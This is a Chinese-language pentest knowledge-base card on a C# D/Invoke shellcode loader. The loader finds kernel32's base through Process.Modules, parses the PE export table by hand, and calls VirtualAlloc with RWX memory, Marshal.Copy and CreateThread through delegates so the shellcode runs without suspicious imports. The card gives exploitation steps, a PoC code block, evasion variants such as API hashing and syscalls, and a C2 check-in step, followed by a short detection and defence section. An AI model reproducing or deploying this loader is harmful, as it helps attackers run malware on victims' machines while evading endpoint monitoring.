♧ Godown 安全知识树

C# D/Invoke ShellcodeLoader:遍历 Process.Modules 取模块基址 + 手工解析导出表 + Marshal.GetDelegateForFunctionPointer 调用 VirtualAlloc/CreateThread

pentest/c2 · verified

一句话结论

C# ShellcodeLoader 不通过 DllImport 静态导入 API,而是遍历 Process.GetCurrentProcess().Modules 取 kernel32.dll 基址,手工解析 PE 导出表得到 VirtualAlloc/CreateThread/WaitForSingleObject 的函数地址,再用 Marshal.GetDelegateForFunctionPointer 转成委托调用,完成内存分配、shellcode 写入与线程执行;IAT 中没有这些 API 的导入项,绕过基于导入表和 GetProcAddress 调用记录的检测,也避开 API Monitor 对常规 DllImport 调用的捕获。

原理

  • D/Invoke 的本质:常规 P/Invoke(DllImport)在编译期把函数引用写进 IAT,加载时由 loader 解析绑定;D/Invoke 改为运行时手工解析:先拿到已加载模块基址,再解析其导出表,最后把函数地址封送成委托调用。静态扫描看不到可疑导入,运行时也不出现 GetProcAddress 字符串调用。
  • 取模块基址:Process.GetCurrentProcess().Modules 返回当前进程所有已加载模块(ProcessModuleCollection),每个 ProcessModule 带 BaseAddress 与 FileName;按文件名后缀匹配 kernel32.dll 即得基址,无需 PEB 手工遍历。
  • 解析导出表:把基址当作 IMAGE_DOS_HEADER,e_lfanew 定位 IMAGE_NT_HEADERS,取 DataDirectory[0](导出目录)的 RVA,读 IMAGE_EXPORT_DIRECTORY;遍历 AddressOfNames 找目标函数名,用 AddressOfNameOrdinals[i] 取索引,再取 AddressOfFunctions[ordinal],加模块基址得到函数 VA(需处理转发导出)。
  • 委托调用:Marshal.GetDelegateForFunctionPointer(ptr, typeof(委托)) 把函数地址转为与目标签名一致的委托,之后像普通方法一样调用 VirtualAlloc(0, len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)、CreateThread(0, 0, shellcodeAddr, pinfo, 0, ref tid)、WaitForSingleObject(hThread, INFINITE)。
  • 为什么能规避检测:导入表干净(只有 Marshal/Process 等普通 .NET 引用);API 监控若只按 DllImport 导入或 GetProcAddress 调用链采样,看不到"明确导入 VirtualAlloc"的样本;函数地址解析只读内存中的模块结构。
  • 局限:委托调用最终仍执行 kernel32/ntdll 中的真实函数——若 EDR 在函数入口 inline hook 或在内核回调/ETW 层监控,仍会命中;D/Invoke 只是"解析与导入面"的隐蔽,不解决 API hook 与行为检测。与 SysCall/间接 syscall 组合才能同时绕用户态 hook。

触发条件

  • Windows + .NET Framework(原文用 C# 类库,AnyCPU/指定 x64)。
  • 攻击者可在目标进程内执行 C# 代码(恶意程序集、反射加载的 DLL、宏等)。
  • 目标模块已加载(kernel32.dll 必然在列)。
  • 目标未对 GetDelegateForFunctionPointer/委托调用非模块或敏感 API 做行为告警。
  • 无特殊权限要求(取决于后续载荷行为)。

利用步骤

  1. 实现 GetLoadedModuleAddress(dllName):遍历 Process.GetCurrentProcess().Modules,FileName 以目标 DLL 名结尾则返回 BaseAddress。
  2. 实现 GetExportAddress(moduleBase, funcName):解析 DOS/NT 头、导出目录与三个数组,名字匹配后返回 base + AddressOfFunctions[ordinal](校验 RVA 是否落在导出目录内以处理转发)。
  3. 封装 GetLibraryAddress(dll, func):先取已加载模块基址,再解析导出。
  4. 解析 VirtualAlloc 地址并转委托,VirtualAlloc(0, shellcode.Length, 0x1000 | 0x2000, 0x40) 分配 RWX 内存。
  5. Marshal.Copy(shellcode, 0, rMemAddress, shellcode.Length) 写入 shellcode。
  6. 解析 CreateThread 地址转委托,创建线程执行 shellcode;再解析 WaitForSingleObject 等待线程结束(或按需不等待)。
  7. 上线 C2;按需清理内存、恢复保护。

PoC

public static IntPtr GetLoadedModuleAddress(string dllName)
{
    foreach (ProcessModule mod in Process.GetCurrentProcess().Modules)
        if (mod.FileName.ToLower().EndsWith(dllName.ToLower()))
            return mod.BaseAddress;
    return IntPtr.Zero;
}

public static IntPtr GetLibraryAddress(string dll, string func)
{
    IntPtr hModule = GetLoadedModuleAddress(dll);
    return GetExportAddress(hModule, func);   // 手工解析 PE 导出表
}

// 调用侧
IntPtr funcPtr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "VirtualAlloc");
var VirtualAllocRx = (DELEGATES.VirtualAllocRx)Marshal
    .GetDelegateForFunctionPointer(funcPtr, typeof(DELEGATES.VirtualAllocRx));
IntPtr rMemAddress = VirtualAllocRx(IntPtr.Zero, (uint)codepent.Length, 0x1000 | 0x2000, 0x40);

Marshal.Copy(codepent, 0, rMemAddress, codepent.Length);

funcPtr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "CreateThread");
var CreateThreadRx = (DELEGATES.CreateThreadRx)Marshal
    .GetDelegateForFunctionPointer(funcPtr, typeof(DELEGATES.CreateThreadRx));
CreateThreadRx(IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref threadId);

funcPtr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "WaitForSingleObject");
var WaitForSingleObjectRx = (DELEGATES.WaitForSingleObjectRx)Marshal
    .GetDelegateForFunctionPointer(funcPtr, typeof(DELEGATES.WaitForSingleObjectRx));
WaitForSingleObjectRx(hThread, 0xFFFFFFFF);

GetExportAddress 的最小实现与导出表偏移见 [[pentest-c2-peb-ldr-export-dynamic-api-resolution]](同一 PE 结构,只是基址来源换成 Process.Modules)。原文称 D/Invoke ShellcodeLoader 的 API 调用未被 API 监控程序捕获;截图(图 15)中 VirtualAlloc/WaitForSingleObject 记录归属模块为 clr.dll 而非 Loader 模块,未呈现常规 DllImport 调用特征。原文实测进程上线 C2。

变体与关联

  • 基址来源变体:手工 PEB/Ldr 遍历([[pentest-c2-peb-ldr-export-dynamic-api-resolution]])、LoadLibrary 动态加载未加载模块(更显眼)、Process.Modules(本卡,最省事)。
  • 组合变体:D/Invoke 解析后不直接调用 kernel32 导出,而是继续解析 ntdll Nt* 函数并配合 SysCall([[pentest-c2-syscall-shellcode-loader-csharp-readprocessmemory-ssn]]),同时绕导入面与用户态 hook;或把执行后端放到 CLR JIT 代码洞穴([[pentest-c2-clr-jit-rwx-code-cave-shellcode-syscall-stub]])。
  • API 哈希变体:导出名比较改为哈希,内存中不留 VirtualAlloc 等明文字符串,进一步规避字符串扫描。
  • 同文关联:与 [[pentest-c2-syscall-shellcode-loader-csharp-readprocessmemory-ssn]] 同属一篇研究的两种 ShellcodeLoader;两者均可编译为 .NET DLL 经 [[pentest-c2-app-whitelisting-powershell-assembly-unsafeloadfrom-dll]] 反射加载。
  • 边界:D/Invoke 不隐藏最终 API 调用本身;若 EDR hook 了 kernel32/ntdll 函数入口或以 ETW/内核回调观测调用,仍会命中;委托调用非模块地址也可能被 ETW 托管事件记录。

检测与防御

  • 检测:模块 IAT 很小/没有 VirtualAlloc/CreateThread 导入,但进程运行期出现这些调用(导入表与行为不匹配);Process.GetCurrentProcess().Modules 遍历 + 导出表解析循环的内存访问模式。
  • 检测:ETW 托管事件中 Marshal.GetDelegateForFunctionPointer 指向 kernel32/ntdll 导出地址,随后伴随 VirtualAlloc RWX 分配、Marshal.Copy 写入 shellcode、CreateThread 执行;进程内出现非模块可执行内存。
  • 防御:使用内核态遥测与行为链检测(分配 RWX → 写入 → 线程执行),不要只依赖导入表/API 名称规则;启用 CFG/CET/ACG;对 GetDelegateForFunctionPointer 的非常规调用做托管事件关联。
  • 防御:限制不可信 .NET 程序集加载与反射执行;对高价值进程启用内存扫描与调用栈校验;结合 AMSI/ETW 托管提供程序采集程序集加载与委托调用遥测。